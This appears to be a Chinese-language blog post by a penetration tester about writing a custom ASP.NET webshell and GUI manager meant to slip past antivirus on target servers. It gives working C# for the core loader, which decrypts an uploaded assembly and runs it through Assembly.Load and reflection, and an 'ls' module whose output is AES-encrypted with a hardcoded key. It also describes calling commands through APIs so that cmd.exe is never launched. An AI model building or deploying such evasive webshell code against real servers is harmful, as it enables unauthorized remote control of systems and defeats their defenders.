由于经常接触ASP.NET的网站应用以及经常分析相关源码,所以对C#代码有一点基础了解,并且经常使用c#实现一些小工具用于辅助自己完成日常工作。

因为目前很多目标服务器上都安装了杀软环境,导致很多公开的webshell后门上传后立马会被查杀。因为在此之前接触了C#中的assembly(程序集)类,所以当时就考虑利用该特性,编写一个属于自己简单的webshell管理端,用于绕过查杀。

Assembly

使用Assembly可以封装代码和资源,以及一些元数据的存储,可以通过assembly调用这些封装的代码和资源。如果将一个恶意的c#程序直接上传导服务器的话,大概率会被直接查杀,但是使用assembly后再进行调用的话,很多时候可以实现绕过,从而执行自己想要的操作。

实现思路

由于assembly也可以直接在aspx文件中实现,所以考虑直接设计一个aspx页面,该页面功能就是一个正常的assembly类的代码,再加上一个解密函数,从而解密传入的请求,并将请求中的程序集传入导assembly中进行调用,最后将结果进行返回。

初始参考了cs命令行模式,通过调用相关命令实现功能:
目前自定义aspx页面访问内容如下:

成功后,通过cmd命令行调用程序连接我们的shell,进而进行管理。

使用一些c#自带的接口实现,执行命令时采用api方式调用,不会直接调用cmd.exe程序。

一些实际演示效果:

ls命令:

run调用命令:

一些其他命令:

目前只实现了一些简单的文件操作和命令执行,其余功能没做,而且是基于命令方式,便捷性没有市面上的好用。

后来考虑自己写一个gui的工具集,所以就把这个工具改为了界面版本。

目前是纯form平台,美化方面没做,后续新开了一个学习项目,正在重新设计以及美化界面。

实现的核心代码如下:

public static string runAssemblyTest(byte[] dataBytes, string cname, string fname, string arg)
{
    string result;
    Assembly assembly = Assembly.Load(dataBytes);
    Type type = assembly.GetType(cname);
    MethodInfo methodInfo = type.GetMethod(fname, new[] { typeof(string) });
    object instance = Activator.CreateInstance(type);
    object[] parameters = new object[] { arg };
    result = (string)methodInfo.Invoke(instance, parameters);
    return result;
}

使用c#编译一个指定功能的dll文件,然后再将这个文件加密后传入给aspx文件,aspx文件再解密该文件,并执行相应操作后返回结果。

比如其中的一个ls功能的实现:

public static string listFileFun(string filename)
{
    string result = "";
    
    if (File.Exists(filename))
    {
        FileInfo fileInfo = new FileInfo(filename);
        //result = File.ReadAllText(filename);
        result += String.Format($"{fileInfo.LastWriteTime:MM/dd/yyyy  hh:mm tt}    {fileInfo.Length,13} {fileInfo.Name}") + "\n";
        //result = 
        return encResult.aesEncode(result, "aabbccdd11223344");
        //return encResult.desEncode(result, "11223344");
    }
    else
    {
        DirectoryInfo directoryInfo = new DirectoryInfo(filename);
        foreach (var dir in directoryInfo.GetDirectories())
        {
            result += String.Format($"{dir.LastWriteTime:MM/dd/yyyy  hh:mm tt}    <DIR>          {dir.Name}") + "\n";
        }
        foreach (var file in directoryInfo.GetFiles())
        {
            result += ($"{file.LastWriteTime:MM/dd/yyyy  hh:mm tt}    {file.Length,13} {file.Name}")+"\n";
        }

        result += String.Format("Total Files: " + directoryInfo.GetFiles().Length+", ")+"\n";
        result += String.Format("Total Directories: " + directoryInfo.GetDirectories().Length)+"\n";
        result += "\n";
        return encResult.aesEncode(result, "xxxxxxxx");
    }
}